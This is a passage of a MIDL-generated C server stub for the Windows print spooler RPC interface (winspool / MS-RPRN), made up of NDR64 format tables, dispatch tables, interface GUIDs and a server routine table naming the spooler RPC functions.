3165 | &__midl_frag153,
3166 | {
3167 | /* DWORD */
3168 | 0,
3169 | 0,
3170 | 0,
3171 | 0,
3172 | 1,
3173 | 1,
3174 | 1,
3175 | 1,
3176 | 0,
3177 | 0,
3178 | 0,
3179 | 0,
3180 | 0,
3181 | (NDR64_UINT16) 0 /* 0x0 */,
3182 | 0
3183 | }, /* [out], IsReturn, Basetype, ByValue */
3184 | (NDR64_UINT16) 0 /* 0x0 */,
3185 | 8 /* 0x8 */, /* Stack offset */
3186 | }
3187 | };
3188 |
3189 | static const __midl_frag16_t __midl_frag16 =
3190 | {
3191 | /* */
3192 | {
3193 | /* *BYTE */
3194 | 0x21, /* FC64_UP */
3195 | (NDR64_UINT8) 32 /* 0x20 */,
3196 | (NDR64_UINT16) 0 /* 0x0 */,
3197 | &__midl_frag13
3198 | }
3199 | };
3200 |
3201 | static const __midl_frag15_t __midl_frag15 =
3202 | 0x2 /* FC64_INT8 */;
3203 |
3204 | static const __midl_frag14_t __midl_frag14 =
3205 | {
3206 | /* */
3207 | (NDR64_UINT32) 1 /* 0x1 */,
3208 | {
3209 | /* struct _NDR64_EXPR_VAR */
3210 | 0x3, /* FC_EXPR_VAR */
3211 | 0x6, /* FC64_UINT32 */
3212 | (NDR64_UINT16) 0 /* 0x0 */,
3213 | (NDR64_UINT32) 0 /* 0x0 */
3214 | }
3215 | };
3216 |
3217 | static const __midl_frag13_t __midl_frag13 =
3218 | {
3219 | /* *BYTE */
3220 | {
3221 | /* *BYTE */
3222 | 0x41, /* FC64_CONF_ARRAY */
3223 | (NDR64_UINT8) 0 /* 0x0 */,
3224 | {
3225 | /* *BYTE */
3226 | 0,
3227 | 0,
3228 | 0,
3229 | 0,
3230 | 0,
3231 | 0,
3232 | 0,
3233 | 0
3234 | },
3235 | (NDR64_UINT8) 0 /* 0x0 */,
3236 | (NDR64_UINT32) 1 /* 0x1 */,
3237 | &__midl_frag14
3238 | },
3239 | {
3240 | /* struct _NDR64_ARRAY_ELEMENT_INFO */
3241 | (NDR64_UINT32) 1 /* 0x1 */,
3242 | &__midl_frag15
3243 | }
3244 | };
3245 |
3246 | static const __midl_frag12_t __midl_frag12 =
3247 | {
3248 | /* DEVMODE_CONTAINER */
3249 | {
3250 | /* DEVMODE_CONTAINER */
3251 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */
3252 | (NDR64_UINT8) 7 /* 0x7 */,
3253 | {
3254 | /* DEVMODE_CONTAINER */
3255 | 1,
3256 | 1,
3257 | 0,
3258 | 0,
3259 | 0,
3260 | 0,
3261 | 0,
3262 | 0
3263 | },
3264 | (NDR64_UINT8) 0 /* 0x0 */,
3265 | (NDR64_UINT32) 16 /* 0x10 */,
3266 | 0,
3267 | 0,
3268 | &__midl_frag16,
3269 | },
3270 | {
3271 | /* */
3272 | {
3273 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
3274 | 0x5, /* FC64_INT32 */
3275 | (NDR64_UINT8) 0 /* 0x0 */,
3276 | (NDR64_UINT16) 0 /* 0x0 */,
3277 | (NDR64_UINT32) 0 /* 0x0 */
3278 | },
3279 | {
3280 | /* struct _NDR64_MEMPAD_FORMAT */
3281 | 0x90, /* FC64_STRUCTPADN */
3282 | (NDR64_UINT8) 0 /* 0x0 */,
3283 | (NDR64_UINT16) 4 /* 0x4 */,
3284 | (NDR64_UINT32) 0 /* 0x0 */
3285 | },
3286 | {
3287 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
3288 | 0x14, /* FC64_POINTER */
3289 | (NDR64_UINT8) 0 /* 0x0 */,
3290 | (NDR64_UINT16) 0 /* 0x0 */,
3291 | (NDR64_UINT32) 0 /* 0x0 */
3292 | },
3293 | {
3294 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */
3295 | 0x93, /* FC64_END */
3296 | (NDR64_UINT8) 0 /* 0x0 */,
3297 | (NDR64_UINT16) 0 /* 0x0 */,
3298 | (NDR64_UINT32) 0 /* 0x0 */
3299 | }
3300 | }
3301 | };
3302 |
3303 | static const __midl_frag11_t __midl_frag11 =
3304 | {
3305 | /* *DEVMODE_CONTAINER */
3306 | 0x20, /* FC64_RP */
3307 | (NDR64_UINT8) 0 /* 0x0 */,
3308 | (NDR64_UINT16) 0 /* 0x0 */,
3309 | &__midl_frag12
3310 | };
3311 |
3312 | static const __midl_frag8_t __midl_frag8 =
3313 | {
3314 | /* struct _NDR64_CONTEXT_HANDLE_FORMAT */
3315 | 0x70, /* FC64_BIND_CONTEXT */
3316 | (NDR64_UINT8) 160 /* 0xa0 */,
3317 | (NDR64_UINT8) 0 /* 0x0 */,
3318 | (NDR64_UINT8) 1 /* 0x1 */
3319 | };
3320 |
3321 | static const __midl_frag7_t __midl_frag7 =
3322 | {
3323 | /* *struct _NDR64_POINTER_FORMAT */
3324 | 0x20, /* FC64_RP */
3325 | (NDR64_UINT8) 4 /* 0x4 */,
3326 | (NDR64_UINT16) 0 /* 0x0 */,
3327 | &__midl_frag8
3328 | };
3329 |
3330 | static const __midl_frag4_t __midl_frag4 =
3331 | {
3332 | /* RpcOpenPrinter */
3333 | {
3334 | /* RpcOpenPrinter */ /* procedure RpcOpenPrinter */
3335 | (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */
3336 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */
3337 | (NDR64_UINT32) 8 /* 0x8 */,
3338 | (NDR64_UINT32) 68 /* 0x44 */,
3339 | (NDR64_UINT16) 0 /* 0x0 */,
3340 | (NDR64_UINT16) 0 /* 0x0 */,
3341 | (NDR64_UINT16) 6 /* 0x6 */,
3342 | (NDR64_UINT16) 8 /* 0x8 */
3343 | },
3344 | {
3345 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3346 | {
3347 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */
3348 | 0x71, /* FC64_BIND_GENERIC */
3349 | (NDR64_UINT8) 0 /* 0x0 */,
3350 | 0 /* 0x0 */, /* Stack offset */
3351 | (NDR64_UINT8) 0 /* 0x0 */,
3352 | (NDR64_UINT8) 8 /* 0x8 */
3353 | },
3354 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */
3355 | },
3356 | {
3357 | /* pPrinterName */ /* parameter pPrinterName */
3358 | &__midl_frag139,
3359 | {
3360 | /* pPrinterName */
3361 | 1,
3362 | 1,
3363 | 0,
3364 | 1,
3365 | 0,
3366 | 0,
3367 | 0,
3368 | 0,
3369 | 0,
3370 | 0,
3371 | 0,
3372 | 0,
3373 | 0,
3374 | (NDR64_UINT16) 0 /* 0x0 */,
3375 | 0
3376 | }, /* MustSize, MustFree, [in] */
3377 | (NDR64_UINT16) 0 /* 0x0 */,
3378 | 0 /* 0x0 */, /* Stack offset */
3379 | },
3380 | {
3381 | /* pHandle */ /* parameter pHandle */
3382 | &__midl_frag8,
3383 | {
3384 | /* pHandle */
3385 | 0,
3386 | 0,
3387 | 0,
3388 | 0,
3389 | 1,
3390 | 0,
3391 | 0,
3392 | 0,
3393 | 1,
3394 | 0,
3395 | 0,
3396 | 0,
3397 | 0,
3398 | (NDR64_UINT16) 0 /* 0x0 */,
3399 | 0
3400 | }, /* [out], SimpleRef */
3401 | (NDR64_UINT16) 0 /* 0x0 */,
3402 | 8 /* 0x8 */, /* Stack offset */
3403 | },
3404 | {
3405 | /* pDatatype */ /* parameter pDatatype */
3406 | &__midl_frag139,
3407 | {
3408 | /* pDatatype */
3409 | 1,
3410 | 1,
3411 | 0,
3412 | 1,
3413 | 0,
3414 | 0,
3415 | 0,
3416 | 0,
3417 | 0,
3418 | 0,
3419 | 0,
3420 | 0,
3421 | 0,
3422 | (NDR64_UINT16) 0 /* 0x0 */,
3423 | 0
3424 | }, /* MustSize, MustFree, [in] */
3425 | (NDR64_UINT16) 0 /* 0x0 */,
3426 | 16 /* 0x10 */, /* Stack offset */
3427 | },
3428 | {
3429 | /* pDevModeContainer */ /* parameter pDevModeContainer */
3430 | &__midl_frag12,
3431 | {
3432 | /* pDevModeContainer */
3433 | 1,
3434 | 1,
3435 | 0,
3436 | 1,
3437 | 0,
3438 | 0,
3439 | 0,
3440 | 0,
3441 | 1,
3442 | 0,
3443 | 0,
3444 | 0,
3445 | 0,
3446 | (NDR64_UINT16) 0 /* 0x0 */,
3447 | 0
3448 | }, /* MustSize, MustFree, [in], SimpleRef */
3449 | (NDR64_UINT16) 0 /* 0x0 */,
3450 | 24 /* 0x18 */, /* Stack offset */
3451 | },
3452 | {
3453 | /* AccessRequired */ /* parameter AccessRequired */
3454 | &__midl_frag153,
3455 | {
3456 | /* AccessRequired */
3457 | 0,
3458 | 0,
3459 | 0,
3460 | 1,
3461 | 0,
3462 | 0,
3463 | 1,
3464 | 1,
3465 | 0,
3466 | 0,
3467 | 0,
3468 | 0,
3469 | 0,
3470 | (NDR64_UINT16) 0 /* 0x0 */,
3471 | 0
3472 | }, /* [in], Basetype, ByValue */
3473 | (NDR64_UINT16) 0 /* 0x0 */,
3474 | 32 /* 0x20 */, /* Stack offset */
3475 | },
3476 | {
3477 | /* DWORD */ /* parameter DWORD */
3478 | &__midl_frag153,
3479 | {
3480 | /* DWORD */
3481 | 0,
3482 | 0,
3483 | 0,
3484 | 0,
3485 | 1,
3486 | 1,
3487 | 1,
3488 | 1,
3489 | 0,
3490 | 0,
3491 | 0,
3492 | 0,
3493 | 0,
3494 | (NDR64_UINT16) 0 /* 0x0 */,
3495 | 0
3496 | }, /* [out], IsReturn, Basetype, ByValue */
3497 | (NDR64_UINT16) 0 /* 0x0 */,
3498 | 40 /* 0x28 */, /* Stack offset */
3499 | }
3500 | };
3501 |
3502 | static const __midl_frag1_t __midl_frag1 =
3503 | (NDR64_UINT32) 0 /* 0x0 */;
3504 |
3505 |
3506 | #include "poppack.h"
3507 |
3508 |
3509 | static const FormatInfoRef winspool_Ndr64ProcTable[] =
3510 | {
3511 | &__midl_frag131,
3512 | &__midl_frag4,
3513 | &__midl_frag131,
3514 | &__midl_frag131,
3515 | &__midl_frag131,
3516 | &__midl_frag131,
3517 | &__midl_frag131,
3518 | &__midl_frag131,
3519 | &__midl_frag131,
3520 | &__midl_frag131,
3521 | &__midl_frag131,
3522 | &__midl_frag131,
3523 | &__midl_frag131,
3524 | &__midl_frag131,
3525 | &__midl_frag131,
3526 | &__midl_frag131,
3527 | &__midl_frag131,
3528 | &__midl_frag131,
3529 | &__midl_frag131,
3530 | &__midl_frag131,
3531 | &__midl_frag131,
3532 | &__midl_frag131,
3533 | &__midl_frag131,
3534 | &__midl_frag131,
3535 | &__midl_frag131,
3536 | &__midl_frag131,
3537 | &__midl_frag131,
3538 | &__midl_frag131,
3539 | &__midl_frag131,
3540 | &__midl_frag73,
3541 | &__midl_frag131,
3542 | &__midl_frag131,
3543 | &__midl_frag131,
3544 | &__midl_frag131,
3545 | &__midl_frag131,
3546 | &__midl_frag131,
3547 | &__midl_frag131,
3548 | &__midl_frag134,
3549 | &__midl_frag134,
3550 | &__midl_frag131,
3551 | &__midl_frag131,
3552 | &__midl_frag131,
3553 | &__midl_frag131,
3554 | &__midl_frag134,
3555 | &__midl_frag134,
3556 | &__midl_frag134,
3557 | &__midl_frag131,
3558 | &__midl_frag131,
3559 | &__midl_frag131,
3560 | &__midl_frag134,
3561 | &__midl_frag134,
3562 | &__midl_frag131,
3563 | &__midl_frag131,
3564 | &__midl_frag131,
3565 | &__midl_frag134,
3566 | &__midl_frag134,
3567 | &__midl_frag131,
3568 | &__midl_frag134,
3569 | &__midl_frag131,
3570 | &__midl_frag131,
3571 | &__midl_frag131,
3572 | &__midl_frag131,
3573 | &__midl_frag131,
3574 | &__midl_frag134,
3575 | &__midl_frag134,
3576 | &__midl_frag135
3577 | };
3578 |
3579 |
3580 | static const MIDL_STUB_DESC winspool_StubDesc =
3581 | {
3582 | (void *)& winspool___RpcServerInterface,
3583 | MIDL_user_allocate,
3584 | MIDL_user_free,
3585 | 0,
3586 | RundownRoutines,
3587 | 0,
3588 | 0,
3589 | 0,
3590 | ms2Drprn__MIDL_TypeFormatString.Format,
3591 | 1, /* -error bounds_check flag */
3592 | 0x60001, /* Ndr library version */
3593 | 0,
3594 | 0x801026e, /* MIDL Version 8.1.622 */
3595 | 0,
3596 | 0,
3597 | 0, /* notify & notify_flag routine table */
3598 | 0x2000001, /* MIDL flag */
3599 | 0, /* cs routines */
3600 | (void *)& winspool_ServerInfo, /* proxy/server info */
3601 | 0
3602 | };
3603 |
3604 | static const RPC_DISPATCH_FUNCTION winspool_NDR64__table[] =
3605 | {
3606 | NdrServerCallAll,
3607 | NdrServerCallAll,
3608 | NdrServerCallAll,
3609 | NdrServerCallAll,
3610 | NdrServerCallAll,
3611 | NdrServerCallAll,
3612 | NdrServerCallAll,
3613 | NdrServerCallAll,
3614 | NdrServerCallAll,
3615 | NdrServerCallAll,
3616 | NdrServerCallAll,
3617 | NdrServerCallAll,
3618 | NdrServerCallAll,
3619 | NdrServerCallAll,
3620 | NdrServerCallAll,
3621 | NdrServerCallAll,
3622 | NdrServerCallAll,
3623 | NdrServerCallAll,
3624 | NdrServerCallAll,
3625 | NdrServerCallAll,
3626 | NdrServerCallAll,
3627 | NdrServerCallAll,
3628 | NdrServerCallAll,
3629 | NdrServerCallAll,
3630 | NdrServerCallAll,
3631 | NdrServerCallAll,
3632 | NdrServerCallAll,
3633 | NdrServerCallAll,
3634 | NdrServerCallAll,
3635 | NdrServerCallAll,
3636 | NdrServerCallAll,
3637 | NdrServerCallAll,
3638 | NdrServerCallAll,
3639 | NdrServerCallAll,
3640 | NdrServerCallAll,
3641 | NdrServerCallAll,
3642 | NdrServerCallAll,
3643 | NdrServerCallAll,
3644 | NdrServerCallAll,
3645 | NdrServerCallAll,
3646 | NdrServerCallAll,
3647 | NdrServerCallAll,
3648 | NdrServerCallAll,
3649 | NdrServerCallAll,
3650 | NdrServerCallAll,
3651 | NdrServerCallAll,
3652 | NdrServerCallAll,
3653 | NdrServerCallAll,
3654 | NdrServerCallAll,
3655 | NdrServerCallAll,
3656 | NdrServerCallAll,
3657 | NdrServerCallAll,
3658 | NdrServerCallAll,
3659 | NdrServerCallAll,
3660 | NdrServerCallAll,
3661 | NdrServerCallAll,
3662 | NdrServerCallAll,
3663 | NdrServerCallAll,
3664 | NdrServerCallAll,
3665 | NdrServerCallAll,
3666 | NdrServerCallAll,
3667 | NdrServerCallAll,
3668 | NdrServerCallAll,
3669 | NdrServerCallAll,
3670 | NdrServerCallAll,
3671 | NdrServerCallAll,
3672 | 0
3673 | };
3674 | static const RPC_DISPATCH_TABLE winspool_NDR64__v1_0_DispatchTable =
3675 | {
3676 | 66,
3677 | (RPC_DISPATCH_FUNCTION*)winspool_NDR64__table
3678 | };
3679 |
3680 | static const MIDL_SYNTAX_INFO winspool_SyntaxInfo [ 2 ] =
3681 | {
3682 | {
3683 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
3684 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable,
3685 | ms2Drprn__MIDL_ProcFormatString.Format,
3686 | winspool_FormatStringOffsetTable,
3687 | ms2Drprn__MIDL_TypeFormatString.Format,
3688 | 0,
3689 | 0,
3690 | 0
3691 | }
3692 | ,{
3693 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},
3694 | (RPC_DISPATCH_TABLE*)&winspool_NDR64__v1_0_DispatchTable,
3695 | 0 ,
3696 | (unsigned short *) winspool_Ndr64ProcTable,
3697 | 0,
3698 | 0,
3699 | 0,
3700 | 0
3701 | }
3702 | };
3703 |
3704 |
3705 | static const SERVER_ROUTINE winspool_ServerRoutineTable[] =
3706 | {
3707 | (SERVER_ROUTINE)RpcEnumPrinters,
3708 | (SERVER_ROUTINE)RpcOpenPrinter,
3709 | (SERVER_ROUTINE)RpcSetJob,
3710 | (SERVER_ROUTINE)RpcGetJob,
3711 | (SERVER_ROUTINE)RpcEnumJobs,
3712 | (SERVER_ROUTINE)RpcAddPrinter,
3713 | (SERVER_ROUTINE)RpcDeletePrinter,
3714 | (SERVER_ROUTINE)RpcSetPrinter,
3715 | (SERVER_ROUTINE)RpcGetPrinter,
3716 | (SERVER_ROUTINE)RpcAddPrinterDriver,
3717 | (SERVER_ROUTINE)RpcEnumPrinterDrivers,
3718 | (SERVER_ROUTINE)RpcGetPrinterDriver,
3719 | (SERVER_ROUTINE)RpcGetPrinterDriverDirectory,
3720 | (SERVER_ROUTINE)RpcDeletePrinterDriver,
3721 | (SERVER_ROUTINE)RpcAddPrintProcessor,
3722 | (SERVER_ROUTINE)RpcEnumPrintProcessors,
3723 | (SERVER_ROUTINE)RpcGetPrintProcessorDirectory,
3724 | (SERVER_ROUTINE)RpcStartDocPrinter,
3725 | (SERVER_ROUTINE)RpcStartPagePrinter,
3726 | (SERVER_ROUTINE)RpcWritePrinter,
3727 | (SERVER_ROUTINE)RpcEndPagePrinter,
3728 | (SERVER_ROUTINE)RpcAbortPrinter,
3729 | (SERVER_ROUTINE)RpcReadPrinter,
3730 | (SERVER_ROUTINE)RpcEndDocPrinter,
3731 | (SERVER_ROUTINE)RpcAddJob,
3732 | (SERVER_ROUTINE)RpcScheduleJob,
3733 | (SERVER_ROUTINE)RpcGetPrinterData,
3734 | (SERVER_ROUTINE)RpcSetPrinterData,
3735 | (SERVER_ROUTINE)RpcWaitForPrinterChange,
3736 | (SERVER_ROUTINE)RpcClosePrinter,
3737 | (SERVER_ROUTINE)RpcAddForm,
3738 | (SERVER_ROUTINE)RpcDeleteForm,
3739 | (SERVER_ROUTINE)RpcGetForm,
3740 | (SERVER_ROUTINE)RpcSetForm,
3741 | (SERVER_ROUTINE)RpcEnumForms,
3742 | (SERVER_ROUTINE)RpcEnumPorts,
3743 | (SERVER_ROUTINE)RpcEnumMonitors,
3744 | (SERVER_ROUTINE)Opnum37NotUsedOnWire,
3745 | (SERVER_ROUTINE)Opnum38NotUsedOnWire,
3746 | (SERVER_ROUTINE)RpcDeletePort,
3747 | (SERVER_ROUTINE)RpcCreatePrinterIC,
3748 | (SERVER_ROUTINE)RpcPlayGdiScriptOnPrinterIC,
3749 | (SERVER_ROUTINE)RpcDeletePrinterIC,
3750 | (SERVER_ROUTINE)Opnum43NotUsedOnWire,
3751 | (SERVER_ROUTINE)Opnum44NotUsedOnWire,
3752 | (SERVER_ROUTINE)Opnum45NotUsedOnWire,
3753 | (SERVER_ROUTINE)RpcAddMonitor,
3754 | (SERVER_ROUTINE)RpcDeleteMonitor,
3755 | (SERVER_ROUTINE)RpcDeletePrintProcessor,
3756 | (SERVER_ROUTINE)Opnum49NotUsedOnWire,
3757 | (SERVER_ROUTINE)Opnum50NotUsedOnWire,
3758 | (SERVER_ROUTINE)RpcEnumPrintProcessorDatatypes,
3759 | (SERVER_ROUTINE)RpcResetPrinter,
3760 | (SERVER_ROUTINE)RpcGetPrinterDriver2,
3761 | (SERVER_ROUTINE)Opnum54NotUsedOnWire,
3762 | (SERVER_ROUTINE)Opnum55NotUsedOnWire,
3763 | (SERVER_ROUTINE)RpcFindClosePrinterChangeNotification,
3764 | (SERVER_ROUTINE)Opnum57NotUsedOnWire,
3765 | (SERVER_ROUTINE)RpcReplyOpenPrinter,
3766 | (SERVER_ROUTINE)RpcRouterReplyPrinter,
3767 | (SERVER_ROUTINE)RpcReplyClosePrinter,
3768 | (SERVER_ROUTINE)RpcAddPortEx,
3769 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotification,
3770 | (SERVER_ROUTINE)Opnum63NotUsedOnWire,
3771 | (SERVER_ROUTINE)Opnum64NotUsedOnWire,
3772 | (SERVER_ROUTINE)RpcRemoteFindFirstPrinterChangeNotificationEx
3773 | };
3774 |
3775 | static const MIDL_SERVER_INFO winspool_ServerInfo =
3776 | {
3777 | &winspool_StubDesc,
3778 | winspool_ServerRoutineTable,
3779 | ms2Drprn__MIDL_ProcFormatString.Format,
3780 | (unsigned short *) winspool_FormatStringOffsetTable,
3781 | 0,
3782 | (RPC_SYNTAX_IDENTIFIER*)&_NDR64_RpcTransferSyntax,
3783 | 2,
3784 | (MIDL_SYNTAX_INFO*)winspool_SyntaxInfo
3785 | };
3786 | #if _MSC_VER >= 1200
3787 | #pragma warning(pop)
3788 | #endif
3789 |
3790 |
3791 | #endif /* defined(_M_AMD64)*/
3792 |
3793 |
--------------------------------------------------------------------------------